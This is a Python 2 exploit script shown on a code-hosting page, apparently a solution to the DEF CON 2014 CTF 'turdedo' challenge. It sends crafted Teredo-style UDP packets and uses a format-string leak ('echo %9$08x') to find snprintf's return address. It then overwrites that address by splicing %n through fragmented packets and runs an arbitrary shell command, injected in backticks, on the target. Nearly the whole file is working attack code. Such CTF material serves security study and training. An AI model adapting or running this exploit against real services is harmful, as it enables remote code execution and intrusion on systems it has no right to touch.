-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathexploit.py
315 lines (260 loc) · 9.48 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
#!/usr/bin/env python
import socket
import struct
import sys
import binascii
import telnetlib
#ADDR = "localhost"
#ADDR = "turdedo_5f55104b1d60779dbe8dcf5df2b186ad.2014.shallweplayaga.me"
ADDR = sys.argv[1]
PORT = 3544
# return a UDP socket and the ai_addr
def get_sock_aiddr():
##########################
# setup addrinfo and stuff
try:
ai_family, ai_socktype, ai_protocol, ai_canonname, ai_addr = socket.getaddrinfo(ADDR, PORT, socket.AF_INET, socket.SOCK_DGRAM)[0]
except socket.gaierror, msg:
print msg
exit(1)
##############
# get a socket
try:
sockfd = socket.socket(ai_family, ai_socktype)
except socket.error, msg:
print msg
exit(1)
#############
# now connect
try:
sockfd.connect(ai_addr)
except socket.error, msg:
print msg
exit(1)
return sockfd, ai_addr
# leak the pointer to the return address of snprintf()
# we will overwrite the value at this pointer with our format string
def leak_snp_retptr():
global PORT
sockfd, ai_addr = get_sock_aiddr()
ipaddr = socket.inet_aton(ai_addr[0])
nipaddr = struct.unpack("cccc", ipaddr)
nipaddr = chr(~ord(nipaddr[0]) & 0xff) + \
chr(~ord(nipaddr[1]) & 0xff) + \
chr(~ord(nipaddr[2]) & 0xff) + \
chr(~ord(nipaddr[3]) & 0xff)
rdata = "SYN"
data = "AA"
data += struct.pack(">H", PORT)
data += struct.pack(">H", len(rdata) + 8)
data += "DD"
data += rdata
data2 = "A" * 48
hdr = "AAAA"
hdr += struct.pack(">H", len(data) + 8) # data len
hdr += chr(44) # protocol
hdr = hdr.ljust(24, "\x20")
hdr += "\x20\x01\x00\x00"
hdr += ipaddr # ip
hdr += "\x00\x00\xf2\x27"
hdr += nipaddr # ~ip
hdr += chr(17)
hdr = hdr.ljust(42, "\x20")
hdr += struct.pack(">H", 0x0)
hdr += struct.pack(">H", len(data2) + 8)
hdr = hdr.ljust(48, "\x20")
buf = hdr + data
sockfd.sendall(buf)
synack = sockfd.recv(1024)
synack = synack.split("SYNACK")
intval = synack[-1]
rdata = "ACK" + intval
data = "AA"
data += struct.pack(">H", PORT)
data += struct.pack(">H", len(rdata) + 8)
data += "DD"
data += rdata
data2 = "A" * 48
hdr = "AAAA"
hdr += struct.pack(">H", len(data) + 8) # data len
hdr += chr(44) # protocol
hdr = hdr.ljust(24, "\x20")
hdr += "\x20\x01\x00\x00"
hdr += ipaddr # ip
hdr += "\x00\x00\xf2\x27"
hdr += nipaddr # ~ip
hdr += chr(17)
hdr = hdr.ljust(42, "\x20")
hdr += struct.pack(">H", 0x0)
hdr += struct.pack(">H", len(data2) + 8)
hdr = hdr.ljust(48, "\x20")
buf = hdr + data
sockfd.sendall(buf)
print sockfd.recv(1024)
rdata = "echo %9$08x"
data = "AA"
data += struct.pack(">H", PORT)
data += struct.pack(">H", len(rdata) + 8)
data += "DD"
data += rdata
data2 = "A" * 48
hdr = "AAAA"
hdr += struct.pack(">H", len(data) + 8) # data len
hdr += chr(44) # protocol
hdr = hdr.ljust(24, "\x20")
hdr += "\x20\x01\x00\x00"
hdr += ipaddr # ip
hdr += "\x00\x00\xf2\x27"
hdr += nipaddr # ~ip
hdr += chr(17)
hdr = hdr.ljust(42, "\x20")
hdr += struct.pack(">H", 0x0)
hdr += struct.pack(">H", len(data2) + 8)
hdr = hdr.ljust(48, "\x20")
buf = hdr + data
sockfd.sendall(buf)
b = sockfd.recv(1024)
f = b[56:]
if '\0' in f:
f = f[:f.index('\0')]
return int(f, 16) - 60
sockfd.close()
# send a UDP fragment with the "n"
def send_n_frag(s, owrite_off, tot_size, ipaddr, nipaddr):
global PORT
udphdr = "nA" # fragment_identifier
udphdr += struct.pack(">H", PORT)
udphdr += struct.pack(">H", 16 + (tot_size - 12))
udphdr += "DD"
hdr = "AAAA"
hdr += struct.pack(">H", len(udphdr) + 8) # data len
hdr += chr(44) # protocol
hdr = hdr.ljust(24, "\x20")
hdr += "\x20\x01\x00\x00"
hdr += ipaddr # ip
hdr += "\x00\x00\xf2\x27"
hdr += nipaddr # ~ip
hdr += chr(17)
hdr = hdr.ljust(42, "\x20")
hdr += struct.pack(">H", owrite_off)
hdr += struct.pack(">H", 48 + 8)
hdr = hdr.ljust(48, "\x20")
buf = hdr + udphdr
s.sendall(buf)
# do it all
def do_it(fmt1, fmt2, fmt3, fmt4, cmd):
global PORT
reta_ptr = leak_snp_retptr()
sockfd, ai_addr = get_sock_aiddr()
# Total packet size
PACKET_TOT_SIZE = 800
# offsets where the "n"'s will be written
OWRITE_LOC_1 = 0x21
OWRITE_LOC_2 = 0x61
OWRITE_LOC_3 = 0xa1
OWRITE_LOC_4 = 0xe0
ipaddr = socket.inet_aton(ai_addr[0])
nipaddr = struct.unpack("cccc", ipaddr)
nipaddr = chr(~ord(nipaddr[0]) & 0xff) + \
chr(~ord(nipaddr[1]) & 0xff) + \
chr(~ord(nipaddr[2]) & 0xff) + \
chr(~ord(nipaddr[3]) & 0xff)
"""
SYN
"""
udpdata = "SYN"
udphdr = "nA"
udphdr += struct.pack(">H", PORT)
udphdr += struct.pack(">H", len(udpdata) + 8)
udphdr += "DD"
udphdr += udpdata
hdr = "AAAA"
hdr += struct.pack(">H", len(udphdr) + 8) # data len
hdr += chr(44) # protocol
hdr = hdr.ljust(24, "\x20")
hdr += "\x20\x01\x00\x00"
hdr += ipaddr # ip
hdr += "\x00\x00\xf2\x27"
hdr += nipaddr # ~ip
hdr += chr(17)
hdr = hdr.ljust(42, "\x20")
hdr += struct.pack(">H", 0x0)
hdr += struct.pack(">H", 48 + 8)
hdr = hdr.ljust(48, "\x20")
buf = hdr + udphdr
sockfd.sendall(buf)
synack = sockfd.recv(1024)
synack = synack.split("SYNACK")
intval = synack[-1]
"""
ACK
"""
udpdata = "ACK" + intval
udphdr = "nA"
udphdr += struct.pack(">H", PORT)
udphdr += struct.pack(">H", len(udpdata) + 8)
udphdr += "DD"
udphdr += udpdata
hdr = "AAAA"
hdr += struct.pack(">H", len(udphdr) + 8) # data len
hdr += chr(44) # protocol
hdr = hdr.ljust(24, "\x20")
hdr += "\x20\x01\x00\x00"
hdr += ipaddr # ip
hdr += "\x00\x00\xf2\x27"
hdr += nipaddr # ~ip
hdr += chr(17)
hdr = hdr.ljust(42, "\x20")
hdr += struct.pack(">H", 0x0)
hdr += struct.pack(">H", 48 + 8)
hdr = hdr.ljust(48, "\x20")
buf = hdr + udphdr
sockfd.sendall(buf)
print sockfd.recv(1024)
"""
Send the first fragment containing:
- our format strings
- the command to inject
"""
udpdata = ("echo " + fmt1).ljust(0x40, "\x20")
udpdata += fmt2.ljust(0x40, "\x20")
udpdata += fmt3.ljust(0x40, "\x20")
udpdata += fmt4.ljust(0x40, "\x20")
udpdata += "\x20" * 176
# the 4 addresses to put on the stack
udpdata += struct.pack("<I", reta_ptr)
udpdata += struct.pack("<I", reta_ptr + 1)
udpdata += struct.pack("<I", reta_ptr + 2)
udpdata += struct.pack("<I", reta_ptr + 3)
# The command to run
udpdata += (("`%s`")%cmd).ljust(352, "\x20")
udphdr = "nA"
udphdr += struct.pack(">H", PORT)
udphdr += struct.pack(">H", len(udpdata) + 8)
udphdr += "DD"
udphdr += udpdata
hdr = "AAAA"
hdr += struct.pack(">H", len(udphdr) + 8) # data len
hdr += chr(44) # protocol
hdr = hdr.ljust(24, "\x20")
hdr += "\x20\x01\x00\x00"
hdr += ipaddr # ip
hdr += "\x00\x00\xf2\x27"
hdr += nipaddr # ~ip
hdr += chr(17)
hdr = hdr.ljust(42, "\x20")
hdr += struct.pack(">H", 0x1)
hdr += struct.pack(">H", 48 + 8)
hdr = hdr.ljust(48, "\x20")
buf = hdr + udphdr
sockfd.sendall(buf)
"""
Send the fragments' headers containing the "n" for the %n
"""
send_n_frag(sockfd, OWRITE_LOC_1, PACKET_TOT_SIZE, ipaddr, nipaddr)
send_n_frag(sockfd, OWRITE_LOC_2, PACKET_TOT_SIZE, ipaddr, nipaddr)
send_n_frag(sockfd, OWRITE_LOC_3, PACKET_TOT_SIZE, ipaddr, nipaddr)
send_n_frag(sockfd, OWRITE_LOC_4, PACKET_TOT_SIZE, ipaddr, nipaddr)
print sockfd.recv(40000)
sockfd.close()
do_it("%139x%122$", "%249x%123$", "%50x%124$", "%221x%125$", sys.argv[2])